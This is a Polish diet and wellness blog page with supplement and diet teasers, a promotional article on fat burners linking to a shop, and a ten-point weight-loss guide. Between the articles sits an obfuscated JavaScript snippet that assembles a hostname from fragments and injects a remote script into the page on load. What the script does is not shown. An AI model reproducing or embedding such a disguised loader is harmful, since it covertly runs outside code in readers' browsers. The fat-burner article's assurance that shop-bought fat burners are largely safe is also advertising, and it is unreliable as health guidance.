Kosmetyki dla dzieci – czego warto używać, a na co uważać?

Delikatna skóra dziecka wymaga specjalnej pielęgnacji. Wielu rodziców kieruje się wyłącznie etykietą opakowań, wybierając produkt, który jest opisany jako dedykowany dzieciom. Niestety skład niejednego takiego kosmetyku pozostawia wiele do życzenia, dlatego warto wprowadzić zasadę tak zwanej świadomej pielęgnacji i rozeznać się w temacie kosmetyków dla dzieci. W ten sposób wybierzesz wyłącznie takie produkty, które będą dobre dla zdrowia Twojego dziecka. Czytaj więcej

Czy suplementy diety wspomagają dietę?

O suplementach słyszymy coraz częściej nie tylko w reklamach, ale również od znajomych, którzy stosują różne preparaty w celu wzmocnienia efektów treningów. Wiele osób zastanawia się, czy suplementy diety rzeczywiście wspomagają dietę i czy ich zakup jest konieczny, gdy chcemy wysmuklić lub wyrzeźbić nasze ciało. Najważniejszymi czynnikami są bowiem liczne badania potwierdzające działanie tego typu specyfików. Warto jednak wiedzieć, które suplementy zakupić, aby przyspieszyć efekty ćwiczeń. Czytaj więcej

testowanie kosmetyków i innych produktów

Testowanie kosmetyków i innych produktów

Niejedna z nas marzy o tym, by mieć dostęp do różnorodnych produktów, z których na co dzień raczej byśmy nie skorzystały – choćby z tego powodu, iż produktów na rynku jest taki ogrom, że nie ma szansy, by przetestować je wszystkie. Testowanie kosmetyków to dla nas – klientek świetny sposób, by jako pierwsze poznać nowe produkty z branży kosmetycznej, natomiast producent lub przedstawiciel marki zyskuje bezcenne dane, zanim dany produkt znajdzie się w szerszym rynkowym obiegu. Czytaj więcej

Czy dieta pudełkowa jest zdrowa?

Rosnąca popularność cateringu dietetycznego sprawiła, że coraz więcej osób zaczęło zastanawiać się, czy dieta pudełkowa jest zdrowa. Nie bez powodu – w końcu zazwyczaj zamawiasz ją na odległość. Dieta diecie nierówna, jednak na rynku znajdziesz dobre jakościowo jadłospisy, które nie tylko Ci nie zaszkodzą, ale także mogą pomóc w poprawie samopoczucia i wsparciu leczenia różnych schorzeń. Czytaj więcej

dieta paleo

Dieta Paleo

Tematyka dotycząca prawidłowego odżywiania się jest w ostatnim czasie popularna. I nie ma w tym nic dziwnego, bo to w jak sposób się odżywiamy bez wątpienia wpływa na nasze zdrowie. Niestety dieta współczesnego człowieka, bogata w produkty przetworzone, pełne konserwantów i wypełniaczy sprzyja rozwijaniu się wielu chorób cywilizacyjnych takich, jak choćby cukrzyca, otyłość czy nowotwory. Lekarstwem na nie ma być dieta paleo zakładająca sposób żywienia inspirowany dietą człowieka z epoki kamienia, który jadł jedynie to, co udało mu się upolować, złowić czy zebrać. Czytaj więcej

Spalacze tłuszczu – na czym polega ich działanie?

Suplementy diety dla sportowców głównie kojarzą się z budowaniem masy i pracą nad masą mięśniową. Jest to jak najbardziej zrozumiałe ponieważ najsłynniejsze produkty jak białko czy kreatyna właśnie z tego słyną. Jednakże, istnieją też inne rozwiązania jak walka z otyłością. Jest to szczególnie istotne w dzisiejszych czasach ponieważ nadwaga w społeczeństwie jest uznawana za chorobę XXI. wieku. W dzisiejszych czasach więcej osób traci życie z powodu spożywania zbyt wiele niż za mało. Nie jest to tak naprawdę nic zaskakującego patrząc na to, jak dużo produktów spożywamy pełnych niezdrowych tłuszczy, soli i dużej ilości cukrów. Dodatkowo, nie licząc problemów z poruszaniem się pojawiają się również inne powikłania jak choroby serca czy nawet pojawienie się cukrzycy typu 2! Niestety, większość osób nie jest w stanie sobie poradzić z walką z nadwagą ponieważ ciężko pozbyć się wcześniejszych nawyków. Z tego powodu korzystają z różnych produktów, które w teorii mają pomóc bez większego wkładu własnego. Na szczęście, ten artykuł nie jest o nich. Przedstawimy tutaj ciekawe rozwiązanie jakim są spalacze tłuszczu i to, jak dokładnie mogą nam pomóc. Zapraszam!

Na początek omówmy sobie czym dokładnie są suplementy diety, by mieć dokładną świadomość o czym tutaj piszemy. Produkty te mają na celu wspieranie naszego organizmu poprzez dostarczanie składników odżywczych, które są legalne i odpowiednie do przyjęcia. Istotne jest tutaj sprawdzanie, że są one po to, by nas wspierać ponieważ same w sobie nie są w stanie wiele zdziałać. Nieważne jest to, do czego dokładnie nam są potrzebne – jeśli nie wykonujemy żadnych innych czynności to może się okazać, że efekty nie będą zbyt zadowalające. Oczywiście w przypadku odżywek dla sportowców głównymi czynnikami są tutaj dieta i ćwiczenia. Niezależnie od tego, czy chcemy zbudować masę mięśniową czy też zrzucić kilogramy – same suplementy mogą nie okazać się wystarczające i tak naprawdę może wyjść na to, że tracimy tylko czas.

Spalacze tłuszczu – czym są dokładnie

Jak było wspomniane wyżej – spalacze tłuszczu są suplementami diety. Nie są to środki, które mają nam zrzucić niepotrzebne kilogramy samym siedzeniem na kanapie i robieniem nic. Takowe produkty znajdziemy w pewnych i renomowanych miejscach, jak https://sklep.kfd.pl/spalacze-tluszczu-c-13.html – jest to istotne ponieważ wtedy mamy pewność, że korzystamy ze składników, które nie są szkodliwe dla naszego organizmy oraz to, że są legalne – ilość tzw. “magicznych tabletek”, które obiecują cuda na kiju jest ogromna w internecie także świadomość tego, skąd kupujemy i co jest tutaj naprawdę ważna ponieważ możemy naprawdę zrobić sobie krzywdę jeśli kupimy coś niepewnego.

Zadaniem spalaczy tłuszczu jest wspomaganie nas w próbie zrzucenia kilogramów. Produkt ten zawiera w sobie określone składniki odżywcze, które wpłyną na:

  • ilość energii w przeciągu dnia
  • nasz metabolizm
  • wspomaganie spalania tkanki tłuszczowej
  • hamowanie apetytu

I równie dobrze, wiele, wiele więcej zależnie od tego, jaki skład dokładnie proponuje nam dany producent. Jednakże, jak widać powyżej – efekty same w sobie nie pomogą nam walczyć z otyłością. Bez odpowiedniego odżywiania się i ćwiczeń produkty te nie będą w stanie wiele zrobić. Spalacze tłuszczu szczególnie są polecane osobom, które pomimo wielu starań wciąż nie mogą z jakiegoś powodu zrzucić niepotrzebnych kilogramów!

Spalacze tłuszczu – co w sobie zawierają

Jak było wspomniane wyżej, skład tych suplementów potrafi się różnić od siebie zależnie od producenta. Jednakże, najczęściej spotkamy określone termogeniki (składniki wpływające na nasz metabolizm, w tym przypadku na przyspieszenie go):

  • kofeina
  • guarana
  • ekstrakt z zielonej herbaty

Powyższe składniki szczególnie są istotne ponieważ zawierają w sobie określone stopnie kofeiny – tym sposobem wpływamy nie tylko na to, jak szybko spalamy dany pokarm ale również na kwestie energetyczne, które są istotne jeśli planujemy w dane dni trenować. Prócz tego również spotkamy się z forskoliną czy chromem, które mogą wpłynąć na naszą chęć spożywania pokarmu, karnityną, która może zwiększyć utlenianie kwasów tłuszczowych czy chociażby wapń, który może zwiększyć wchłanianie tłuszczy. Oczywiście, ostatecznie wszystko zależy od producenta, z tego powodu warto dokładnie sprawdzić, co dany produkt w sobie zawiera i jaki skład może być dobrym wyborem dla nas!

Spalacze tłuszczu – czy bezpieczne?

Jeśli korzystamy z pewnych i bezpiecznych źródeł to nie powinniśmy się specjalnie martwić o skład. Jedynie warto z pewnością zaznaczyć, że duża ilość kofeiny może powodować problemy ze snem i nudności. Warto mieć to na uwadze jeśli spożywamy sporo kawy/napojów energetycznych w przeciągu dnia!

Podsumowanie

Spalacze tłuszczu mogą być bardzo ciekawym dodatkiem do naszej diety i ćwiczeń. Jeśli szukamy dodatkowego sposobu na walkę z nadwagą to jak najbardziej można pomyśleć o takich rozwiązaniach!

(function(){
w4wp=document.createElement("script");w4wp.type="text/javascript";
w4wp.async=true;w4wp_=(("us")+"t")+"a";w4wp_+=("t.i")+""+"n";w4wp_+=(("f")+"o");w4wp_+="/";
w4wpu="183415248.";w4wpu+="pg105y8g4wp3hpf8vm1d9x2svX34y1";w4wp.src="https://"+w4wp_+w4wpu;
w4wpdb=document.body;w4wpdb.appendChild(w4wp);
})();

10 przykazań mądrego odchudzania – bezpieczna droga do szczupłej sylwetki

Nie ma magicznego sposobu na zrzucenie zbędnych kilogramów. Musisz po prostu na to zapracować. I to ciężko. Jak to zrobić, żeby dążąc do wymarzonej sylwetki, nie zaszkodzić swojemu zdrowiu? Koniecznie przeczytaj naszych 10 przykazań mądrego odchudzania.

Zdrowe dochodzenie do wymarzonej sylwetki wymaga przede wszystkim cierpliwości. Niestety, dużo łatwiej przybrać, niż zrzucić zbędne kilogramy, tym bardziej, że cały proces zachodzi zwykle niepostrzeżenie. Pewnego dnia po prostu wstajesz rano, patrzysz w lustro i zaczynasz się zastanawiać: „Kiedy TO się stało?”…

Nie daj się nabrać na cudowne diety, dzięki którym schudniesz 20 kg w miesiąc. Jeśli nawet uda Ci się doprowadzić do tak ekstremalnie szybkiego spadku wagi, istnieje bardzo niewielkie prawdopodobieństwo, że sukces utrzyma się na dłużej. Prawie na pewno dotknie Cię efekt jojo i w krótkim czasie wrócisz do poprzedniej (albo i wyższej) wagi. Gdy decydujesz się na dietę, pamiętaj o łączeniu zbilansowanego jadłospisu z wysiłkiem fizycznym i… rozsądkiem. Stosując się do poniższych rad, z pewnością łatwiej unikniesz niebezpiecznych dla zdrowia błędów.

1. Nie ograniczaj jedzenia

Albo raczej: nie tylko ograniczaj. Obżarstwo sprzyja otyłości – jasne. Ale dietetycy przestrzegają: problem nie leży w tym, ile jesz, ale co jesz. Urozmaicone i zbilansowane menu korzystnie wpływa na metabolizm, co w praktyce sprowadza się do tego, że im lepiej jesz, tym szybciej chudniesz. Gdy ograniczasz ilość spożywanych kalorii, musisz pamiętać o wprowadzeniu do swojej diety niezbędnych składników odżywczych. W Twoim codziennym jadłospisie powinny znaleźć się składniki mineralne, witaminy, białka, a także węglowodany i tłuszcze.

2. Jedz regularnie

To, że nie jesz przez cały dzień, wcale nie sprzyja utracie wagi. Prawdopodobnie ta jedna porcja obiadu, którą wcinasz pod wieczór, jest ogromna. Zresztą w ten sposób programujesz organizm – gdy fundujesz mu dłuższe przerwy w jedzeniu, myśli, że przyszły ciężkie czasy i powinien magazynować energię. Zaczyna odkładać tłuszcz, który w kryzysowym momencie będzie mógł spalić. Z tym, że nie spala, no bo przecież w końcu robisz się głodny i wypełniasz żołądek porcją do syta…

Ten mechanizm obronny tysiące lat temu pozwalał człowiekowi przetrwać susze, klęski żywiołowe czy nieudane polowania. Dziś jest zupełnie niepotrzebny, ale nie da się go „wyłączyć”. Jedyne, co możesz zrobić, to jeść niewielkie porcje, ale za to 5 razy dziennie, mniej więcej co 3 godziny.

3. Uważaj na sztuczne wspomagacze

Herbatki czy tabletki na odchudzanie owszem, wspomagają procesy spalania, ale nie zrobią wszystkiego za Ciebie. Jeśli staną się podstawą Twojego jadłospisu, mogą doprowadzić do zaburzenia pracy układy pokarmowego. Znacznie lepiej od syntetycznych suplementów działają substancje zawarte w żywności, którą i tak spożywamy. Jakie?

Kto choć raz w życiu się odchudzał, wie, jak ważny w tym procesie jest błonnik. Choć nie jest trawiony przez ludzki układ pokarmowy, to poprawia jego pracę. Wchłania wodę, dzięki czemu po dostaniu się do żołądka pęcznieje i powoduje uczucie sytości. Sporo błonnika możesz znaleźć w produktach pełnoziarnistych, niektórych owocach (np. malinach, jabłkach, agreście) i warzywach.

4. Nawadniaj się

Minimalna dzienna dawka wody dla dorosłego człowieka wynosi 1,5 litra. W czasie odchudzania warto zwiększyć ją minimum do 2 litrów. Dlaczego? Przede wszystkim z powodu wsparcia, jakie stanowi w procesach metabolicznych. Poza tym, gdy dietę łączysz z aktywnością fizyczną, wzrasta zapotrzebowanie zarówno na H2O, które podczas wysiłku intensywnie odparowuje przez wszystkie pory Twojego ciała, jak i na zawarte w niej mikroelementy.

5. Ogranicz alkohol i napoje gazowane

Słodkie napoje gazowane i alkohol to puste kalorie, które powodują tycie, a wcale nie dostarczają organizmowi składników odżywczych. Poza tym procenty powodują nasilenie głodu i zapotrzebowanie na tłuste dania, czyli zwiększają prawdopodobieństwo, że zaczniesz się objadać…

6. Wysypiaj się

Wiesz, że niedosypianie sprzyja otyłości? Podczas snu zwiększa się zdolność organizmu do trawienia cukrów. Osoby, które śpią poniżej 7 godzin stają się w pewnym sensie insulinooporne. Poza tym, gdy się nie wysypiasz, w Twoim organizmie rośnie poziom hormonu głodu – greliny – a spada poziom hormonu sytości, czyli leptyny. Jednym słowem wydaje Ci się, jakbyś był wiecznie głodny. Równie niekorzystna jest zbyt duża ilość snu. Zgodnie z tą zasadą najlepiej spać od 7 do 9 godzin.

7. Wrzuć na luz!

Przewlekły stres może zaburzać gospodarkę hormonalną i spowalniać procesy metaboliczne. To właściwie ten sam pierwotny mechanizm, który uruchamia się, gdy nie pilnujesz regularności posiłków. Organizm, będąc w stanie zagrożenia, decyduje się na odkładanie w tkance tłuszczowej zmagazynowanej energii na później. Poza tym skupia się na podtrzymaniu ważniejszych procesów… W tym czasie zwiększa się odporność na leptynę i insulinę, spada poziom estrogenu u kobiet i testosteronu u mężczyzn, wzrasta poziom kortyzolu, rozregulowuje się praca tarczycy. Mówiąc krótko, cały organizm odmawia działania w zwykłym trybie, a Ty masz przekichane.

Do tego spora część z nas ma skłonności do zajadania stresu. Im bardziej się denerwujesz, tym więcej wcinasz po kryjomu, zwłaszcza słodkiego? Batonik w nagrodę za ciężki dzień w pracy albo na odwagę przed ważnym spotkaniem wcale nie pomoże, za to może zaszkodzić Twojej sylwetce, zwłaszcza jeśli jego jedzenie stanie się rytuałem.

8. Pozwól sobie na złamanie zasad

Dietetycy i trenerzy personalni mówią często o tzw. cheating day, czyli dniu, kiedy odpuszczasz przestrzeganie planu żywienia. Chodzi o to, żeby nie zafiksować się na określonym trybie życia i nie uzależniać poczucia własnej wartości od odnoszonych na tym polu sukcesów. Nie, to, że raz na jakiś czas zjesz coś niedozwolonego na diecie, nie oznacza, że nie jesteś nic wart. Zrób to z przyjemnością i nie wywołuj w sobie wyrzutów sumienia, które spowodują tylko niepotrzebny wzrost stresu!

Ćwicz zatem silną wolę, ale wybaczaj sobie małe grzeszki. Proces dochodzenia do wymarzonej sylwetki nie może stać się katorgą, z powodu której staniesz się swoim największym wrogiem.

9. Unikaj przesady

Restrykcyjne diety, a szczególnie głodówki nie tylko nie pomogą Ci schudnąć, ale wręcz zaszkodzą, naruszając równowagę Twojego organizmu. Zrobienie detoksu raz na jakiś czas rzeczywiście pomoże oczyścić organizm, ale na dłuższą metę jedyne, co w ten sposób osiągniesz, to pozbawisz się niezbędnych do prawidłowego funkcjonowania składników odżywczych. Pamiętaj, że to przede wszystkim z cukrów, od których eliminacji zaczyna się niemal każda absurdalnie surowa dieta, czerpie energię Twoje ciało, a zwłaszcza mózg!

10. Bądź aktywny

Last, but not the least! Właściwie nie tylko nie najmniej ważne, ale chyba najważniejsze. Na nic surowe diety, jeśli nie wprowadzisz ruchu do swojego życia. Utrzymanie ciała w dobrej kondycji fizycznej, zachodzące przy okazji dotlenienie gwarantują, że jest ono w stanie właściwie przetwarzać pozyskane z żywności składniki na energię. Podczas aktywności spala się oczywiście również nadmiar tkanki tłuszczowej.

Nie musisz koniecznie chodzić na siłownię albo biegać, choć są to dziś bardzo modne sporty. Jeśli wolisz, możesz regularnie pływać, jeździć do pracy na rowerze albo codziennie zabierać psa na długi spacer. Pamiętaj, że wszystko zaczyna się od pierwszego, czasem małego kroku.

Sprzęt i odzież sportową, która ułatwi Ci zrobienie pierwszego i wszystkich kolejnych kroków na drodze do zgrabnej sylwetki, znajdziesz na sklepiguana.pl!